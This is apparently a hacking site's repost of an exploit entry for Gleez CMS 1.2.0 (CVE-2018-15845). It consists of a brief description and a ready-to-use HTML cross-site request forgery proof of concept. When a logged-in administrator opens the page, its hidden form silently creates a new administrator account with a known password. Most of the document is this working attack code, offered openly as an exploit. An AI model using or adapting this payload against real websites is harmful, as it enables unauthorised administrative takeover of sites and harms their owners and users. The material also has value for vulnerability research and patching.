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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Gleez CMS 1.2.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-08-24
# Exploit Author: GunEggWang
# Vendor Homepage: https://gleezcms.org/
# Software Link: https://github.com/gleez/cms
# Version: 1.2.0
# CVE : CVE-2018-15845

# Description: 
# There is a CSRF vulnerability that can add an administrator account in 
# Gleez CMS 1.2.0 via admin/users/add. (https://github.com/gleez/cms/issues/800)
# After the administrator logged in,open the POC,that will create an new admin account unexcused.
# POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://server/admin/users/add?0=" method="POST">
      <input type="hidden" name="_token" value="18eabd0645699b3eec1686301a684392e8a4735a" />
      <input type="hidden" name="_action" value="909998bbc9e60ce40ae378a1055b46f3" />
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="pass" value="test" />
      <input type="hidden" name="nick" value="test" />
      <input type="hidden" name="mail" value="admin@admin.cc" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="roles[admin]" value="Administrative user, has access to everything." />
      <input type="hidden" name="site_url" value="http://server/" />
      <input type="hidden" name="user" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>